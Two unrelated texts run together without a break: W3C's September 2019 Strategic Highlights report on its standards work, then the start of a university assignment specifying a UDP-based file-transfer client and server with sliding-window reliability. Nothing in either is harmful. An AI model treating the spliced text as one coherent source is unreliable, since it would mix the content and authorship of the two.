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jettbrains / L W3C Strategic Highlights September 2019 This report was prepared for the September 2019 W3C Advisory Committee Meeting (W3C Member link). See the accompanying W3C Fact Sheet — September 2019. For the previous edition, see the April 2019 W3C Strategic Highlights. For future editions of this report, please consult the latest version. A Chinese translation is available. ☰ Contents Introduction Future Web Standards Meeting Industry Needs Web Payments Digital Publishing Media and Entertainment Web & Telecommunications Real-Time Communications (WebRTC) Web & Networks Automotive Web of Things Strengthening the Core of the Web HTML CSS Fonts SVG Audio Performance Web Performance WebAssembly Testing Browser Testing and Tools WebPlatform Tests Web of Data Web for All Security, Privacy, Identity Internationalization (i18n) Web Accessibility Outreach to the world W3C Developer Relations W3C Training Translations W3C Liaisons Introduction This report highlights recent work of enhancement of the existing landscape of the Web platform and innovation for the growth and strength of the Web. 33 working groups and a dozen interest groups enable W3C to pursue its mission through the creation of Web standards, guidelines, and supporting materials. We track the tremendous work done across the Consortium through homogeneous work-spaces in Github which enables better monitoring and management. We are in the middle of a period where we are chartering numerous working groups which demonstrate the rapid degree of change for the Web platform: After 4 years, we are nearly ready to publish a Payment Request API Proposed Recommendation and we need to soon charter follow-on work. In the last year we chartered the Web Payment Security Interest Group. In the last year we chartered the Web Media Working Group with 7 specifications for next generation Media support on the Web. We have Accessibility Guidelines under W3C Member review which includes Silver, a new approach. We have just launched the Decentralized Identifier Working Group which has tremendous potential because Decentralized Identifier (DID) is an identifier that is globally unique, resolveable with high availability, and cryptographically verifiable. We have Privacy IG (PING) under W3C Member review which strengthens our focus on the tradeoff between privacy and function. We have a new CSS charter under W3C Member review which maps the group's work for the next three years. In this period, W3C and the WHATWG have succesfully completed the negotiation of a Memorandum of Understanding rooted in the mutual belief that that having two distinct specifications claiming to be normative is generally harmful for the Web community. The MOU, signed last May, describes how the two organizations are to collaborate on the development of a single authoritative version of the HTML and DOM specifications. W3C subsequently rechartered the HTML Working Group to assist the W3C community in raising issues and proposing solutions for the HTML and DOM specifications, and for the production of W3C Recommendations from WHATWG Review Drafts. As the Web evolves continuously, some groups are looking for ways for specifications to do so as well. So-called "evergreen recommendations" or "living standards" aim to track continuous development (and maintenance) of features, on a feature-by-feature basis, while getting review and patent commitments. We see the maturation and further development of an incredible number of new technologies coming to the Web. Continued progress in many areas demonstrates the vitality of the W3C and the Web community, as the rest of the report illustrates. Future Web Standards W3C has a variety of mechanisms for listening to what the community thinks could become good future Web standards. These include discussions with the Membership, discussions with other standards bodies, the activities of thousands of participants in over 300 community groups, and W3C Workshops. There are lots of good ideas. The W3C strategy team has been identifying promising topics and invites public participation. Future, recent and under consideration Workshops include: Inclusive XR (5-6 November 2019, Seattle, WA, USA) to explore existing and future approaches on making Virtual and Augmented Reality experiences more inclusive, including to people with disabilities; W3C Workshop on Data Models for Transportation (12-13 September 2019, Palo Alto, CA, USA) W3C Workshop on Web Games (27-28 June 2019, Redmond, WA, USA), view report Second W3C Workshop on the Web of Things (3-5 June 2019, Munich, Germany) W3C Workshop on Web Standardization for Graph Data; Creating Bridges: RDF, Property Graph and SQL (4-6 March 2019, Berlin, Germany), view report Web & Machine Learning. The Strategy Funnel documents the staff's exploration of potential new work at various phases: Exploration and Investigation, Incubation and Evaluation, and eventually to the chartering of a new standards group. The Funnel view is a GitHub Project where new area are issues represented by “cards” which move through the columns, usually from left to right. Most cards start in Exploration and move towards Chartering, or move out of the funnel. Public input is welcome at any stage but particularly once Incubation has begun. This helps W3C identify work that is sufficiently incubated to warrant standardization, to review the ecosystem around the work and indicate interest in participating in its standardization, and then to draft a charter that reflects an appropriate scope. Ongoing feedback can speed up the overall standardization process. Since the previous highlights document, W3C has chartered a number of groups, and started discussion on many more: Newly Chartered or Rechartered Web Application Security WG (03-Apr) Web Payment Security IG (17-Apr) Patent and Standards IG (24-Apr) Web Applications WG (14-May) Web & Networks IG (16-May) Media WG (23-May) Media and Entertainment IG (06-Jun) HTML WG (06-Jun) Decentralized Identifier WG (05-Sep) Extended Privacy IG (PING) (30-Sep) Verifiable Claims WG (30-Sep) Service Workers WG (31-Dec) Dataset Exchange WG (31-Dec) Web of Things Working Group (31-Dec) Web Audio Working Group (31-Dec) Proposed charters / Advance Notice Accessibility Guidelines WG Privacy IG (PING) RDF Literal Direction WG Timed Text WG CSS WG Web Authentication WG Closed Internationalization Tag Set IG Meeting Industry Needs Web Payments All Web Payments specifications W3C's payments standards enable a streamlined checkout experience, enabling a consistent user experience across the Web with lower front end development costs for merchants. Users can store and reuse information and more quickly and accurately complete online transactions. The Web Payments Working Group has republished Payment Request API as a Candidate Recommendation, aiming to publish a Proposed Recommendation in the Fall 2019, and is discussing use cases and features for Payment Request after publication of the 1.0 Recommendation. Browser vendors have been finalizing implementation of features added in the past year (view the implementation report). As work continues on the Payment Handler API and its implementation (currently in Chrome and Edge Canary), one focus in 2019 is to increase adoption in other browsers. Recently, Mastercard demonstrated the use of Payment Request API to carry out EMVCo's Secure Remote Commerce (SRC) protocol whose payment method definition is being developed with active participation by Visa, Mastercard, American Express, and Discover. Payment method availability is a key factor in merchant considerations about adopting Payment Request API. The ability to get uniform adoption of a new payment method such as Secure Remote Commerce (SRC) also depends on the availability of the Payment Handler API in browsers, or of proprietary alternatives. Web Monetization, which the Web Payments Working Group will discuss again at its face-to-face meeting in September, can be used to enable micropayments as an alternative revenue stream to advertising. Since the beginning of 2019, Amazon, Brave Software, JCB, Certus Cybersecurity Solutions and Netflix have joined the Web Payments Working Group. In April, W3C launched the Web Payment Security Group to enable W3C, EMVCo, and the FIDO Alliance to collaborate on a vision for Web payment security and interoperability. Participants will define areas of collaboration and identify gaps between existing technical specifications in order to increase compatibility among different technologies, such as: How do SRC, FIDO, and Payment Request relate? The Payment Services Directive 2 (PSD2) regulations in Europe are scheduled to take effect in September 2019. What is the role of EMVCo, W3C, and FIDO technologies, and what is the current state of readiness for the deadline? How can we improve privacy on the Web at the same time as we meet industry requirements regarding user identity? Digital Publishing All Digital Publishing specifications, Publication milestones The Web is the universal publishing platform. Publishing is increasingly impacted by the Web, and the Web increasingly impacts Publishing. Topic of particular interest to Publishing@W3C include typography and layout, accessibility, usability, portability, distribution, archiving, offline access, print on demand, and reliable cross referencing. And the diverse publishing community represented in the groups consist of the traditional "trade" publishers, ebook reading system manufacturers, but also publishers of audio book, scholarly journals or educational materials, library scientists or browser developers. The Publishing Working Group currently concentrates on Audiobooks which lack a comprehensive standard, thus incurring extra costs and time to publish in this booming market. Active development is ongoing on the future standard: Publication Manifest Audiobook profile for Web Publications Lightweight Packaging Format The BD Comics Manga Community Group, the Synchronized Multimedia for Publications Community Group, the Publishing Community Group and a future group on archival, are companions to the working group where specific work is developed and incubated. The Publishing Community Group is a recently launched incubation channel for Publishing@W3C. The goal of the group is to propose, document, and prototype features broadly related to: publications on the Web reading modes and systems and the user experience of publications The EPUB 3 Community Group has successfully completed the revision of EPUB 3.2. The Publishing Business Group fosters ongoing participation by members of the publishing industry and the overall ecosystem in the development of Web infrastructure to better support the needs of the industry. The Business Group serves as an additional conduit to the Publishing Working Group and several Community Groups for feedback between the publishing ecosystem and W3C. The Publishing BG has played a vital role in fostering and advancing the adoption and continued development of EPUB 3. In particular the BG provided critical support to the update of EPUBCheck to validate EPUB content to the new EPUB 3.2 specification. This resulted in the development, in conjunction with the EPUB3 Community Group, of a new generation of EPUBCheck, i.e., EPUBCheck 4.2 production-ready release. Media and Entertainment All Media specifications The Media and Entertainment vertical tracks media-related topics and features that create immersive experiences for end users. HTML5 brought standard audio and video elements to the Web. Standardization activities since then have aimed at turning the Web into a professional platform fully suitable for the delivery of media content and associated materials, enabling missing features to stream video content on the Web such as adaptive streaming and content protection. Together with Microsoft, Comcast, Netflix and Google, W3C received an Technology & Engineering Emmy Award in April 2019 for standardization of a full TV experience on the Web. Current goals are to: Reinforce core media technologies: Creation of the Media Working Group, to develop media-related specifications incubated in the WICG (e.g. Media Capabilities, Picture-in-picture, Media Session) and maintain maintain/evolve Media Source Extensions (MSE) and Encrypted Media Extensions (EME). Improve support for Media Timed Events: data cues incubation. Enhance color support (HDR, wide gamut), in scope of the CSS WG and in the Color on the Web CG. Reduce fragmentation: Continue annual releases of a common and testable baseline media devices, in scope of the Web Media APIs CG and in collaboration with the CTA WAVE Project. Maintain the Road-map of Media Technologies for the Web which highlights Web technologies that can be used to build media applications and services, as well as known gaps to enable additional use cases. Create the future: Discuss perspectives for Media and Entertainment for the Web. Bring the power of GPUs to the Web (graphics, machine learning, heavy processing), under incubation in the GPU for the Web CG. Transition to a Working Group is under discussion. Determine next steps after the successful W3C Workshop on Web Games of June 2019. View the report. Timed Text The Timed Text Working Group develops and maintains formats used for the representation of text synchronized with other timed media, like audio and video, and notably works on TTML, profiles of TTML, and WebVTT. Recent progress includes: A robust WebVTT implementation report poises the specification for publication as a proposed recommendation. Discussions around re-chartering, notably to add a TTML Profile for Audio Description deliverable to the scope of the group, and clarify that rendering of captions within XR content is also in scope. Immersive Web Hardware that enables Virtual Reality (VR) and Augmented Reality (AR) applications are now broadly available to consumers, offering an immersive computing platform with both new opportunities and challenges. The ability to interact directly with immersive hardware is critical to ensuring that the web is well equipped to operate as a first-class citizen in this environment. The Immersive Web Working Group has been stabilizing the WebXR Device API while the companion Immersive Web Community Group incubates the next series of features identified as key for the future of the Immersive Web. W3C plans a workshop focused on the needs and benefits at the intersection of VR & Accessibility (Inclusive XR), on 5-6 November 2019 in Seattle, WA, USA, to explore existing and future approaches on making Virtual and Augmented Reality experiences more inclusive. Web & Telecommunications The Web is the Open Platform for Mobile. Telecommunication service providers and network equipment providers have long been critical actors in the deployment of Web technologies. As the Web platform matures, it brings richer and richer capabilities to extend existing services to new users and devices, and propose new and innovative services. Real-Time Communications (WebRTC) All Real-Time Communications specifications WebRTC has reshaped the whole communication landscape by making any connected device a potential communication end-point, bringing audio and video communications anywhere, on any network, vastly expanding the ability of operators to reach their customers. WebRTC serves as the corner-stone of many online communication and collaboration services. The WebRTC Working Group aims to bringing WebRTC 1.0 (and companion specification Media Capture and Streams) to Recommendation by the end of 2019. Intense efforts are focused on testing (supported by a dedicated hackathon at IETF 104) and interoperability. The group is considering pushing features that have not gotten enough traction to separate modules or to a later minor revision of the spec. Beyond WebRTC 1.0, the WebRTC Working Group will focus its efforts on WebRTC NV which the group has started documenting by identifying use cases. Web & Networks Recently launched, in the wake of the May 2018 Web5G workshop, the Web & Networks Interest Group is chaired by representatives from AT&T, China Mobile and Intel, with a goal to explore solutions for web applications to achieve better performance and resource allocation, both on the device and network. The group's first efforts are around use cases, privacy & security requirements and liaisons. Automotive All Automotive specifications To create a rich application ecosystem for vehicles and other devices allowed to connect to the vehicle, the W3C Automotive Working Group is delivering a service specification to expose all common vehicle signals (engine temperature, fuel/charge level, range, tire pressure, speed, etc.) The Vehicle Information Service Specification (VISS), which is a Candidate Recommendation, is seeing more implementations across the industry. It provides the access method to a common data model for all the vehicle signals –presently encapsulating a thousand or so different data elements– and will be growing to accommodate the advances in automotive such as autonomous and driver assist technologies and electrification. The group is already working on a successor to VISS, leveraging the underlying data model and the VIWI submission from Volkswagen, for a more robust means of accessing vehicle signals information and the same paradigm for other automotive needs including location-based services, media, notifications and caching content. The Automotive and Web Platform Business Group acts as an incubator for prospective standards work. One of its task forces is using W3C VISS in performing data sampling and off-boarding the information to the cloud. Access to the wealth of information that W3C's auto signals standard exposes is of interest to regulators, urban planners, insurance companies, auto manufacturers, fleet managers and owners, service providers and others. In addition to components needed for data sampling and edge computing, capturing user and owner consent, information collection methods and handling of data are in scope. The upcoming W3C Workshop on Data Models for Transportation (September 2019) is expected to focus on the need of additional ontologies around transportation space. Web of Things All Web of Things specifications W3C's Web of Things work is designed to bridge disparate technology stacks to allow devices to work together and achieve scale, thus enabling the potential of the Internet of Things by eliminating fragmentation and fostering interoperability. Thing descriptions expressed in JSON-LD cover the behavior, interaction affordances, data schema, security configuration, and protocol bindings. The Web of Things complements existing IoT ecosystems to reduce the cost and risk for suppliers and consumers of applications that create value by combining multiple devices and information services. There are many sectors that will benefit, e.g. smart homes, smart cities, smart industry, smart agriculture, smart healthcare and many more. The Web of Things Working Group is finishing the initial Web of Things standards, with support from the Web of Things Interest Group: Web of Things Architecture Thing Descriptions Strengthening the Core of the Web HTML The HTML Working Group was chartered early June to assist the W3C community in raising issues and proposing solutions for the HTML and DOM specifications, and to produce W3C Recommendations from WHATWG Review Drafts. A few days before, W3C and the WHATWG signed a Memorandum of Understanding outlining the agreement to collaborate on the development of a single version of the HTML and DOM specifications. Issues and proposed solutions for HTML and DOM done via the newly rechartered HTML Working Group in the WHATWG repositories The HTML Working Group is targetting November 2019 to bring HTML and DOM to Candidate Recommendations. CSS All CSS specifications CSS is a critical part of the Open Web Platform. The CSS Working Group gathers requirements from two large groups of CSS users: the publishing industry and application developers. Within W3C, those groups are exemplified by the Publishing groups and the Web Platform Working Group. The former requires things like better pagination support and advanced font handling, the latter needs intelligent (and fast!) scrolling and animations. What we know as CSS is actually a collection of almost a hundred specifications, referred to as ‘modules’. The current state of CSS is defined by a snapshot, updated once a year. The group also publishes an index defining every term defined by CSS specifications. Fonts All Fonts specifications The Web Fonts Working Group develops specifications that allow the interoperable deployment of downloadable fonts on the Web, with a focus on Progressive Font Enrichment as well as maintenance of WOFF Recommendations. Recent and ongoing work includes: Early API experiments by Adobe and Monotype have demonstrated the feasibility of a font enrichment API, where a server delivers a font with minimal glyph repertoire and the client can query the full repertoire and request additional subsets on-the-fly. In other experiments, the Brotli compression used in WOFF 2 was extended to support shared dictionaries and patch update. Metrics to quantify improvement are a current hot discussion topic. The group will meet at ATypi 2019 in Japan, to gather requirements from the international typography community. The group will first produce a report summarizing the strengths and weaknesses of each prototype solution by Q2 2020. SVG All SVG specifications SVG is an important and widely-used part of the Open Web Platform. The SVG Working Group focuses on aligning the SVG 2.0 specification with browser implementations, having split the specification into a currently-implemented 2.0 and a forward-looking 2.1. Current activity is on stabilization, increased integration with the Open Web Platform, and test coverage analysis. The Working Group was rechartered in March 2019. A new work item concerns native (non-Web-browser) uses of SVG as a non-interactive, vector graphics format. Audio The Web Audio Working Group was extended to finish its work on the Web Audio API, expecting to publish it as a Recommendation by year end. The specification enables synthesizing audio in the browser. Audio operations are performed with audio nodes, which are linked together to form a modular audio routing graph. Multiple sources — with different types of channel layout — are supported. This modular design provides the flexibility to create complex audio functions with dynamic effects. The first version of Web Audio API is now feature complete and is implemented in all modern browsers. Work has started on the next version, and new features are being incubated in the Audio Community Group. Performance Web Performance All Web Performance specifications There are currently 18 specifications in development in the Web Performance Working Group aiming to provide methods to observe and improve aspects of application performance of user agent features and APIs. The W3C team is looking at related work incubated in the W3C GPU for the Web (WebGPU) Community Group which is poised to transition to a W3C Working Group. A preliminary draft charter is available. WebAssembly All WebAssembly specifications WebAssembly improves Web performance and power by being a virtual machine and execution environment enabling loaded pages to run native (compiled) code. It is deployed in Firefox, Edge, Safari and Chrome. The specification will soon reach Candidate Recommendation. WebAssembly enables near-native performance, optimized load time, and perhaps most importantly, a compilation target for existing code bases. While it has a small number of native types, much of the performance increase relative to Javascript derives from its use of consistent typing. WebAssembly leverages decades of optimization for compiled languages and the byte code is optimized for compactness and streaming (the web page starts executing while the rest of the code downloads). Network and API access all occurs through accompanying Javascript libraries -- the security model is identical to that of Javascript. Requirements gathering and language development occur in the Community Group while the Working Group manages test development, community review and progression of specifications on the Recommendation Track. Testing Browser testing plays a critical role in the growth of the Web by: Improving the reliability of Web technology definitions; Improving the quality of implementations of these technologies by helping vendors to detect bugs in their products; Improving the data available to Web developers on known bugs and deficiencies of Web technologies by publishing results of these tests. Browser Testing and Tools The Browser Testing and Tools Working Group is developing WebDriver version 2, having published last year the W3C Recommendation of WebDriver. WebDriver acts as a remote control interface that enables introspection and control of user agents, provides a platform- and language-neutral wire protocol as a way for out-of-process programs to remotely instruct the behavior of Web, and emulates the actions of a real person using the browser. WebPlatform Tests The WebPlatform Tests project now provides a mechanism which allows to fully automate tests that previously needed to be run manually: TestDriver. TestDriver enables sending trusted key and mouse events, sending complex series of trusted pointer and key interactions for things like in-content drag-and-drop or pinch zoom, and even file upload. Since 2014 W3C began work on this coordinated open-source effort to build a cross-browser test suite for the Web Platform, which WHATWG, and all major browsers adopted. Web of Data All Data specifications There have been several great success stories around the standardization of data on the web over the past year. Verifiable Claims seems to have significant uptake. It is also significant that the Distributed Identifier WG charter has received numerous favorable reviews, and was just recently launched. JSON-LD has been a major success with the large deployment on Web sites via schema.org. JSON-LD 1.1 completed technical work, about to transition to CR More than 25% of websites today include schema.org data in JSON-LD The Web of Things description is in CR since May, making use of JSON-LD Verifiable Credentials data model is in CR since July, also making use of JSON-LD Continued strong interest in decentralized identifiers Engagement from the TAG with reframing core documents, such as Ethical Web Principles, to include data on the web within their scope Data is increasingly important for all organizations, especially with the rise of IoT and Big Data. W3C has a mature and extensive suite of standards relating to data that were developed over two decades of experience, with plans for further work on making it easier for developers to work with graph data and knowledge graphs. Linked Data is about the use of URIs as names for things, the ability to dereference these URIs to get further information and to include links to other data. There are ever-increasing sources of open Linked Data on the Web, as well as data services that are restricted to the suppliers and consumers of those services. The digital transformation of industry is seeking to exploit advanced digital technologies. This will facilitate businesses to integrate horizontally along the supply and value chains, and vertically from the factory floor to the office floor. W3C is seeking to make it easier to support enterprise-wide data management and governance, reflecting the strategic importance of data to modern businesses. Traditional approaches to data have focused on tabular databases (SQL/RDBMS), Comma Separated Value (CSV) files, and data embedded in PDF documents and spreadsheets. We're now in midst of a major shift to graph data with nodes and labeled directed links between them. Graph data is: Faster than using SQL and associated JOIN operations More favorable to integrating data from heterogeneous sources Better suited to situations where the data model is evolving In the wake of the recent W3C Workshop on Graph Data we are in the process of launching a Graph Standardization Business Group to provide a business perspective with use cases and requirements, to coordinate technical standards work and liaisons with external organizations. Web for All Security, Privacy, Identity All Security specifications, all Privacy specifications Authentication on the Web As the WebAuthn Level 1 W3C Recommendation published last March is seeing wide implementation and adoption of strong cryptographic authentication, work is proceeding on Level 2. The open standard Web API gives native authentication technology built into native platforms, browsers, operating systems (including mobile) and hardware, offering protection against hacking, credential theft, phishing attacks, thus aiming to end the era of passwords as a security construct. You may read more in our March press release. Privacy An increasing number of W3C specifications are benefitting from Privacy and Security review; there are security and privacy aspects to every specification. Early review is essential. Working with the TAG, the Privacy Interest Group has updated the Self-Review Questionnaire: Security and Privacy. Other recent work of the group includes public blogging further to the exploration of anti-patterns in standards and permission prompts. Security The Web Application Security Working Group adopted Feature Policy, aiming to allow developers to selectively enable, disable, or modify the behavior of some of these browser features and APIs within their application; and Fetch Metadata, aiming to provide servers with enough information to make a priori decisions about whether or not to service a request based on the way it was made, and the context in which it will be used. The Web Payment Security Interest Group, launched last April, convenes members from W3C, EMVCo, and the FIDO Alliance to discuss cooperative work to enhance the security and interoperability of Web payments (read more about payments). Internationalization (i18n) All Internationalization specifications, educational articles related to Internationalization, spec developers checklist Only a quarter or so current Web users use English online and that proportion will continue to decrease as the Web reaches more and more communities of limited English proficiency. If the Web is to live up to the "World Wide" portion of its name, and for the Web to truly work for stakeholders all around the world engaging with content in various languages, it must support the needs of worldwide users as they engage with content in the various languages. The growth of epublishing also brings requirements for new features and improved typography on the Web. It is important to ensure the needs of local communities are captured. The W3C Internationalization Initiative was set up to increase in-house resources dedicated to accelerating progress in making the World Wide Web "worldwide" by gathering user requirements, supporting developers, and education & outreach. For an overview of current projects see the i18n radar. W3C's Internationalization efforts progressed on a number of fronts recently: Requirements: New African and European language groups will work on the gap analysis, errata and layout requirements. Gap analysis: Japanese, Devanagari, Bengali, Tamil, Lao, Khmer, Javanese, and Ethiopic updated in the gap-analysis documents. Layout requirements document: notable progress tracked in the Southeast Asian Task Force while work continues on Chinese layout requirements. Developer support: Spec reviews: the i18n WG continues active review of specifications of the WHATWG and other W3C Working Groups. Short review checklist: easy way to begin a self-review to help spec developers understand what aspects of their spec are likely to need attention for internationalization, and points them to more detailed checklists for the relevant topics. It also helps those reviewing specs for i18n issues. Strings on the Web: Language and Direction Metadata lays out issues and discusses potential solutions for passing information about language and direction with strings in JSON or other data formats. The document was rewritten for clarity, and expanded. The group is collaborating with the JSON-LD and Web Publishing groups to develop a plan for updating RDF, JSON-LD and related specifications to handle metadata for base direction of text (bidi). User-friendly test format: a new format was developed for Internationalization Test Suite tests, which displays helpful information about how the test works. This particularly useful because those tests are pointed to by educational materials and gap-analysis documents. Web Platform Tests: a large number of tests in the i18n test suite have been ported to the WPT repository, including: css-counter-styles, css-ruby, css-syntax, css-test, css-text-decor, css-writing-modes, and css-pseudo. Education & outreach: (for all educational materials, see the HTML & CSS Authoring Techniques) Web Accessibility All Accessibility specifications, WAI resources The Web Accessibility Initiative supports W3C's Web for All mission. Recent achievements include: Education and training: Inaccessibility of CAPTCHA updated to bring our analysis and recommendations up to date with CAPTCHA practice today, concluding two years of extensive work and invaluable input from the public (read more on the W3C Blog Learn why your web content and applications should be accessible. The Education and Outreach Working Group has completed revision and updating of the Business Case for Digital Accessibility. Accessibility guidelines: The Accessibility Guidelines Working Group has continued to update WCAG Techniques and Understanding WCAG 2.1; and published a Candidate Recommendation of Accessibility Conformance Testing Rules Format 1.0 to improve inter-rater reliability when evaluating conformance of web content to WCAG An updated charter is being developed to host work on "Silver", the next generation accessibility guidelines (WCAG 2.2) There are accessibility aspects to most specifications. Check your work with the FAST checklist. Outreach to the world W3C Developer Relations To foster the excellent feedback loop between Web Standards development and Web developers, and to grow participation from that diverse community, recent W3C Developer Relations activities include: @w3cdevs tracks the enormous amount of work happening across W3C W3C Track during the Web Conference 2019 in San Francisco Tech videos: W3C published the 2019 Web Games Workshop videos The 16 September 2019 Developer Meetup in Fukuoka, Japan, is open to all and will combine a set of technical demos prepared by W3C groups, and a series of talks on a selected set of W3C technologies and projects W3C is involved with Mozilla, Google, Samsung, Microsoft and Bocoup in the organization of ViewSource 2019 in Amsterdam (read more on the W3C Blog) W3C Training In partnership with EdX, W3C's MOOC training program, W3Cx offers a complete "Front-End Web Developer" (FEWD) professional certificate program that consists of a suite of five courses on the foundational languages that power the Web: HTML5, CSS and JavaScript. We count nearly 900K students from all over the world. Translations Many Web users rely on translations of documents developed at W3C whose official language is English. W3C is extremely grateful to the continuous efforts of its community in ensuring our various deliverables in general, and in our specifications in particular, are made available in other languages, for free, ensuring their exposure to a much more diverse set of readers. Last Spring we developed a more robust system, a new listing of translations of W3C specifications and updated the instructions on how to contribute to our translation efforts. W3C Liaisons Liaisons and coordination with numerous organizations and Standards Development Organizations (SDOs) is crucial for W3C to: make sure standards are interoperable coordinate our respective agenda in Internet governance: W3C participates in ICANN, GIPO, IGF, the I* organizations (ICANN, IETF, ISOC, IAB). ensure at the government liaison level that our standards work is officially recognized when important to our membership so that products based on them (often done by our members) are part of procurement orders. W3C has ARO/PAS status with ISO. W3C participates in the EU MSP and Rolling Plan on Standardization ensure the global set of Web and Internet standards form a compatible stack of technologies, at the technical and policy level (patent regime, fragmentation, use in policy making) promote Standards adoption equally by the industry, the public sector, and the public at large Coralie Mercier, Editor, W3C Marketing & Communications $Id: Overview.html,v 1.60 2019/10/15 12:05:52 coralie Exp $ Copyright © 2019 W3C ® (MIT, ERCIM, Keio, Beihang) Usage policies apply.
SOYJUN / FTP Implement Based On UDPThe aim of this assignment is to have you do UDP socket client / server programming with a focus on two broad aspects : Setting up the exchange between the client and server in a secure way despite the lack of a formal connection (as in TCP) between the two, so that ‘outsider’ UDP datagrams (broadcast, multicast, unicast - fortuitously or maliciously) cannot intrude on the communication. Introducing application-layer protocol data-transmission reliability, flow control and congestion control in the client and server using TCP-like ARQ sliding window mechanisms. The second item above is much more of a challenge to implement than the first, though neither is particularly trivial. But they are not tightly interdependent; each can be worked on separately at first and then integrated together at a later stage. Apart from the material in Chapters 8, 14 & 22 (especially Sections 22.5 - 22.7), and the experience you gained from the preceding assignment, you will also need to refer to the following : ioctl function (Chapter 17). get_ifi_info function (Section 17.6, Chapter 17). This function will be used by the server code to discover its node’s network interfaces so that it can bind all its interface IP addresses (see Section 22.6). ‘Race’ conditions (Section 20.5, Chapter 20) You also need a thorough understanding of how the TCP protocol implements reliable data transfer, flow control and congestion control. Chapters 17- 24 of TCP/IP Illustrated, Volume 1 by W. Richard Stevens gives a good overview of TCP. Though somewhat dated for some things (it was published in 1994), it remains, overall, a good basic reference. Overview This assignment asks you to implement a primitive file transfer protocol for Unix platforms, based on UDP, and with TCP-like reliability added to the transfer operation using timeouts and sliding-window mechanisms, and implementing flow and congestion control. The server is a concurrent server which can handle multiple clients simultaneously. A client gives the server the name of a file. The server forks off a child which reads directly from the file and transfers the contents over to the client using UDP datagrams. The client prints out the file contents as they come in, in order, with nothing missing and with no duplication of content, directly on to stdout (via the receiver sliding window, of course, but with no other intermediate buffering). The file to be transferred can be of arbitrary length, but its contents are always straightforward ascii text. As an aside let me mention that assuming the file contents ascii is not as restrictive as it sounds. We can always pretend, for example, that binary files are base64 encoded (“ASCII armor”). A real file transfer protocol would, of course, have to worry about transferring files between heterogeneous platforms with different file structure conventions and semantics. The sender would first have to transform the file into a platform-independent, protocol-defined, format (using, say, ASN.1, or some such standard), and the receiver would have to transform the received file into its platform’s native file format. This kind of thing can be fairly time consuming, and is certainly very tedious, to implement, with little educational value - it is not part of this assignment. Arguments for the server You should provide the server with an input file server.in from which it reads the following information, in the order shown, one item per line : Well-known port number for server. Maximum sending sliding-window size (in datagram units). You will not be handing in your server.in file. We shall create our own when we come to test your code. So it is important that you stick strictly to the file name and content conventions specified above. The same applies to the client.in input file below. Arguments for the client The client is to be provided with an input file client.in from which it reads the following information, in the order shown, one item per line : IP address of server (not the hostname). Well-known port number of server. filename to be transferred. Receiving sliding-window size (in datagram units). Random generator seed value. Probability p of datagram loss. This should be a real number in the range [ 0.0 , 1.0 ] (value 0.0 means no loss occurs; value 1.0 means all datagrams all lost). The mean µ, in milliseconds, for an exponential distribution controlling the rate at which the client reads received datagram payloads from its receive buffer. Operation Server starts up and reads its arguments from file server.in. As we shall see, when a client communicates with the server, the server will want to know what IP address that client is using to identify the server (i.e. , the destination IP address in the incoming datagram). Normally, this can be done relatively straightforwardly using the IP_RECVDESTADDR socket option, and picking up the information using the ancillary data (‘control information’) capability of the recvmsg function. Unfortunately, Solaris 2.10 does not support the IP_RECVDESTADDR option (nor, incidentally, does it support the msg_flags option in msghdr - see p.390). This considerably complicates things. In the absence of IP_RECVDESTADDR, what the server has to do as part of its initialization phase is to bind each IP address it has (and, simultaneously, its well-known port number, which it has read in from server.in) to a separate UDP socket. The code in Section 22.6, which uses the get_ifi_info function, shows you how to do that. However, there are important differences between that code and the version you want to implement. The code of Section 22.6 binds the IP addresses and forks off a child for each address that is bound to. We do not want to do that. Instead you should have an array of socket descriptors. For each IP address, create a new socket and bind the address (and well-known port number) to the socket without forking off child processes. Creating child processes comes later, when clients arrive. The code of Section 22.6 also attempts to bind broadcast addresses. We do not want to do this. It binds a wildcard IP address, which we certainly do not want to do either. We should bind strictly only unicast addresses (including the loopback address). The get_ifi_info function (which the code in Section 22.6 uses) has to be modified so that it also gets the network masks for the IP addresses of the node, and adds these to the information stored in the linked list of ifi_info structures (see Figure 17.5, p.471) it produces. As you go binding each IP address to a distinct socket, it will be useful for later processing to build your own array of structures, where a structure element records the following information for each socket : sockfd IP address bound to the socket network mask for the IP address subnet address (obtained by doing a bit-wise and between the IP address and its network mask) Report, in a ReadMe file which you hand in with your code, on the modifications you had to introduce to ensure that only unicast addresses are bound, and on your implementation of the array of structures described above. You should print out on stdout, with an appropriate message and appropriately formatted in dotted decimal notation, the IP address, network mask, and subnet address for each socket in your array of structures (you do not need to print the sockfd). The server now uses select to monitor the sockets it has created for incoming datagrams. When it returns from select, it must use recvfrom or recvmsg to read the incoming datagram (see 6. below). When a client starts, it first reads its arguments from the file client.in. The client checks if the server host is ‘local’ to its (extended) Ethernet. If so, all its communication to the server is to occur as MSG_DONTROUTE (or SO_DONTROUTE socket option). It determines if the server host is ‘local’ as follows. The first thing the client should do is to use the modified get_ifi_info function to obtain all of its IP addresses and associated network masks. Print out on stdout, in dotted decimal notation and with an appropriate message, the IP addresses and network masks obtained. In the following, IPserver designates the IP address the client will use to identify the server, and IPclient designates the IP address the client will choose to identify itself. The client checks whether the server is on the same host. If so, it should use the loopback address 127.0.0.1 for the server (i.e. , IPserver = 127.0.0.1). IPclient should also be set to the loopback address. Otherwise it proceeds as follows: IPserver is set to the IP address for the server in the client.in file. Given IPserver and the (unicast) IP addresses and network masks for the client returned by get_ifi_info in the linked list of ifi_info structures, you should be able to figure out if the server node is ‘local’ or not. This will be discussed in class; but let me just remind you here that you should use ‘longest prefix matching’ where applicable. If there are multiple client addresses, and the server host is ‘local’, the client chooses an IP address for itself, IPclient, which matches up as ‘local’ according to your examination above. If the server host is not ‘local’, then IPclient can be chosen arbitrarily. Print out on stdout the results of your examination, as to whether the server host is ‘local’ or not, as well as the IPclient and IPserver addresses selected. Note that this manner of determining whether the server is local or not is somewhat clumsy and ‘over-engineered’, and, as such, should be viewed more in the nature of a pedagogical exercise. Ideally, we would like to look up the server IP address(es) in the routing table (see Section 18.3). This requires that a routing socket be created, for which we need superuser privilege. Alternatively, we might want to dump out the routing table, using the sysctl function for example (see Section 18.4), and examine it directly. Unfortunately, Solaris 2.10 does not support sysctl. Furthermore, note that there is a slight problem with the address 130.245.1.123/24 assigned to compserv3 (see rightmost column of file hosts, and note that this particular compserv3 address “overlaps” with the 130.245.1.x/28 addresses in that same column assigned to compserv1, compserv2 & comserv4). In particular, if the client is running on compserv3 and the server on any of the other three compservs, and if that server node is also being identified to the client by its /28 (rather than its /24) address, then the client will get a “false positive” when it tests as to whether the server node is local or not. In other words, the client will deem the server node to be local, whereas in fact it should not be considered local. Because of this, it is perhaps best 